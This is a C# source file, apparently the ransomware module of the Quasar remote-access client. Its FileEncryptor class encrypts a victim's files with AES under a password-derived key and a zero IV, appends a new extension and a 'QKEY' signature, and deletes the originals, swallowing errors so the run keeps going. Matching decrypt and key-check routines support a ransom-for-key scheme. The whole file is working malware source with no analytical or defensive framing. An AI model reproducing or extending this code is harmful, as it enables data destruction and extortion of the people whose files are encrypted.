using System;
using System.IO;
using System.Security.Cryptography;
using System.Text;

namespace Quasar.Client.Ransomware
{
    public class FileEncryptor
    {
        private const int BUFFER_SIZE = 1024 * 1024; // 1MB buffer
        private const string KEY_SIGNATURE = "QKEY"; // 4-byte signature to verify key

        public static void EncryptFile(string filePath, string password, string newExtension)
        {
            try
            {
                byte[] fileBytes = File.ReadAllBytes(filePath);
                byte[] encryptedBytes = EncryptBytes(fileBytes, password);
                
                // Add key signature at the beginning
                byte[] signatureBytes = Encoding.ASCII.GetBytes(KEY_SIGNATURE);
                byte[] finalBytes = new byte[signatureBytes.Length + encryptedBytes.Length];
                Buffer.BlockCopy(signatureBytes, 0, finalBytes, 0, signatureBytes.Length);
                Buffer.BlockCopy(encryptedBytes, 0, finalBytes, signatureBytes.Length, encryptedBytes.Length);
                
                string encryptedPath = filePath + newExtension;
                File.WriteAllBytes(encryptedPath, finalBytes);
                File.Delete(filePath);
            }
            catch
            {
                // Silently fail - don't crash on individual file errors
            }
        }

        public static bool DecryptFile(string filePath, string password, string extensionToRemove)
        {
            try
            {
                if (!filePath.EndsWith(extensionToRemove))
                    return false;

                byte[] fileBytes = File.ReadAllBytes(filePath);
                
                // Verify signature
                if (fileBytes.Length < 4)
                    return false;
                
                byte[] signatureBytes = new byte[4];
                Buffer.BlockCopy(fileBytes, 0, signatureBytes, 0, 4);
                string signature = Encoding.ASCII.GetString(signatureBytes);
                
                if (signature != KEY_SIGNATURE)
                    return false;
                
                // Extract encrypted data (skip signature)
                byte[] encryptedBytes = new byte[fileBytes.Length - 4];
                Buffer.BlockCopy(fileBytes, 4, encryptedBytes, 0, encryptedBytes.Length);
                
                // Try to decrypt
                byte[] decryptedBytes = DecryptBytes(encryptedBytes, password);
                
                string decryptedPath = filePath.Substring(0, filePath.Length - extensionToRemove.Length);
                File.WriteAllBytes(decryptedPath, decryptedBytes);
                File.Delete(filePath);
                
                return true;
            }
            catch
            {
                // Decryption failed - wrong key or corrupted file
                return false;
            }
        }

        public static bool VerifyKey(string testFilePath, string password, string extension)
        {
            try
            {
                if (!File.Exists(testFilePath) || !testFilePath.EndsWith(extension))
                    return false;

                byte[] fileBytes = File.ReadAllBytes(testFilePath);
                
                if (fileBytes.Length < 4)
                    return false;
                
                byte[] signatureBytes = new byte[4];
                Buffer.BlockCopy(fileBytes, 0, signatureBytes, 0, 4);
                string signature = Encoding.ASCII.GetString(signatureBytes);
                
                if (signature != KEY_SIGNATURE)
                    return false;
                
                byte[] encryptedBytes = new byte[fileBytes.Length - 4];
                Buffer.BlockCopy(fileBytes, 4, encryptedBytes, 0, encryptedBytes.Length);
                
                // Try to decrypt - if it works, key is correct
                byte[] decryptedBytes = DecryptBytes(encryptedBytes, password);
                return decryptedBytes != null && decryptedBytes.Length > 0;
            }
            catch
            {
                return false;
            }
        }

        private static byte[] EncryptBytes(byte[] data, string password)
        {
            using (Aes aes = Aes.Create())
            {
                aes.Key = DeriveKey(password);
                aes.IV = new byte[16]; // Zero IV for simplicity
                aes.Mode = CipherMode.CBC;
                aes.Padding = PaddingMode.PKCS7;

                using (ICryptoTransform encryptor = aes.CreateEncryptor())
                {
                    return encryptor.TransformFinalBlock(data, 0, data.Length);
                }
            }
        }

        private static byte[] DecryptBytes(byte[] data, string password)
        {
            using (Aes aes = Aes.Create())
            {
                aes.Key = DeriveKey(password);
                aes.IV = new byte[16]; // Zero IV
                aes.Mode = CipherMode.CBC;
                aes.Padding = PaddingMode.PKCS7;

                using (ICryptoTransform decryptor = aes.CreateDecryptor())
                {
                    return decryptor.TransformFinalBlock(data, 0, data.Length);
                }
            }
        }

        private static byte[] DeriveKey(string password)
        {
            using (SHA256 sha256 = SHA256.Create())
            {
                return sha256.ComputeHash(Encoding.UTF8.GetBytes(password));
            }
        }
    }
}
